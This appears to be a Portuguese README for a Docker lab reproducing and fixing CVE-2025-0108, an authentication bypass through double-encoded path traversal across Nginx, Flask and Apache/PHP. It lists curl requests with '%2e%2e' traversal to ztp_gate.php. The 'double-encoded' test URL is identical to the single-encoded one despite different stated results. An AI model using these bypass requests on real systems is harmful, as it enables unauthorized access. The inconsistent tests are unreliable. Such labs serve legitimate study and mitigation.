
Este repositório contém um pequeno ambiente de laboratório para reproduzir e mitigar o problema CVE-2025-0108 (confusão de caminho / contrabando de cabeçalhos entre Nginx e Apache).
O objetivo da tarefa é demonstrar como requisições duplamente codificadas podem contornar a autenticação em uma pilha de múltiplas camadas (Nginx -> backend Flask -> Apache/PHP) e mostrar uma mitigação no lado do backend.
Este ambiente é apenas para fins educacionais.
CVE-2025-0108/ — implementação vulnerável (PoC)CVE-2025-0108_fix/ — implementação corrigida (backend verifica o caminho decodificado)CVE-2025-0108Simular a configuração vulnerável onde um caminho duplamente codificado pode contornar a autenticação devido à decodificação inconsistente de caminho entre as camadas.
A partir do diretório CVE-2025-0108:
cd CVE-2025-0108
docker compose up --build
Execute estes comandos curl a partir do seu host:
Teste 1 — duplamente codificado (esperado: HTTP 200)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Esta requisição usa dupla codificação (%252e%252e == %2e%2e == ..) e demonstra o bypass na configuração vulnerável. Deve retornar 200 OK.
Teste 2 — codificado uma vez (esperado: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Teste 3 — caminho bruto com .. (esperado: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
Parar os ambientes:
docker compose down
O backend realiza uma verificação adicional no caminho decodificado antes de permitir o acesso. Isso impede o bypass de autenticação quando as requisições são duplamente codificadas.
A partir do diretório CVE-2025-0108:
cd CVE-2025-0108
docker compose up --build
Execute estes comandos curl a partir do seu host:
A partir do diretório CVE-2025-0108_fix:
cd CVE-2025-0108_fix
docker compose up --build
Teste 1 — duplamente codificado (esperado: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
O backend corrigido detecta o .. decodificado e retorna 401 Não Autorizado.
Teste 2 — codificado uma vez (esperado: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
Teste 3 — caminho bruto com .. (esperado: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
Parar os ambientes:
docker compose down